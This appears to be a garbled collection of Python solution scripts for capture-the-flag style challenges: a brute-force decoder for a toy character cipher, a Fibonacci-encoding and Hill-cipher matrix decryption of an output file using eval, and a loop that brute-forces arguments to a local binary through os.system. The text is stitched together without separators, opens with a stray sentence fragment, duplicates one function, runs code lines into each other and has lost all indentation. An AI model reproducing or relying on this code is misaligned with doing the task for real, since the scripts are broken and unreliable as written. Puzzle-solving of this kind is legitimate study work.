LETTERS WHICH ARE OFTEN USED IN THE SELECTED LANGUAGE.def mess(msg):
enc=""
for i in msg:
enc+=chr((ord(i)+ord(i))%256)
return enc
printable = string.printable
def demess(msg):
# Byte by byte bruteforce
dec = ""
for i in range(len(msg)):
for char in printable:
if mess(char) == msg[i]:
dec += char
break
else:
dec += "-"
return decimport string
def mess(msg):
enc=""
for i in msg:
enc+=chr((ord(i)+ord(i))%256)
return enc
printable = string.printable
def demess(msg):
# Byte by byte bruteforce
dec = ""
for i in range(len(msg)):
for char in printable:
if mess(char) == msg[i]:
dec += char
break
else:
dec += "-"
return dec
import random
import numpy as np
key=np.matrix("1 2 3;0 1 4;5 6 0")
def recur_fibo(n):
if n<=1:
return 1
else:
return recur_fibo(n-1)+recur_fibo(n-2)
def messig_up(message,key):
parts=""
while len(message)!=0:
to_work_with=message[:9]
first_one=np.zeros((3,3))
k=0
for i in range(3):
for j in range(3):
first_one[i][j]=ord(to_work_with[k])
k+=1
finish=np.transpose(np.matmul(first_one,key))
for i in range(3):
for j in range(3):
parts=parts + str(finish[i,j])+ " "
parts+="-----"
message=message[9:]
return parts
def encode(n):
i=1
fib=recur_fibo(i)
t_f=[]
while fib<n:
t_f.append(fib)
i+=1
fib=recur_fibo(i)
_sum=0
a_f=[]
for i in range(len(t_f)-1,-1,-1):
if _sum==n:
break
if _sum+t_f[i]<=n:
a_f.append(t_f[i])
_sum+=t_f[i]
exis=[]
for i in t_f:
if i in a_f:
exis.append(1)
else:
exis.append(0)
return t_f,exis
encmap = []
for i in range(2500):
encmap.append(encode(i))
stuff = open("output.txt").readlines()
data = []
for line in stuff:
data.append(eval(line))
nums = []
for piece in data:
nums.append(encmap.index(piece))
print(nums)
invkey = np.linalg.inv(key)
dec = ""
for i in range(0,len(nums),9):
split = nums[i:i+9]
goodmat = np.array([split[j:j+3] for j in range(0,9,3)])
goodmat = np.transpose(goodmat)
matr = np.matmul(goodmat,invkey)
print(matr)
for x in range(3):
for y in range(3):
dec += chr(round(matr[x,y]))
print(len(dec))
print(demess(dec).encode())
import itertools
import os
nums = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
for c in itertools.product(nums, repeat=3):
args = "(echo " + str(c[0]) + "; echo " + str(c[1]) + "; echo " + str(c[0]) + ") | ./taking_off"
args = "./taking_off " + str(c[0]) + " " + str(c[1]) + " " + str(c[2]) + " chicken"
print(args)
os.system(args)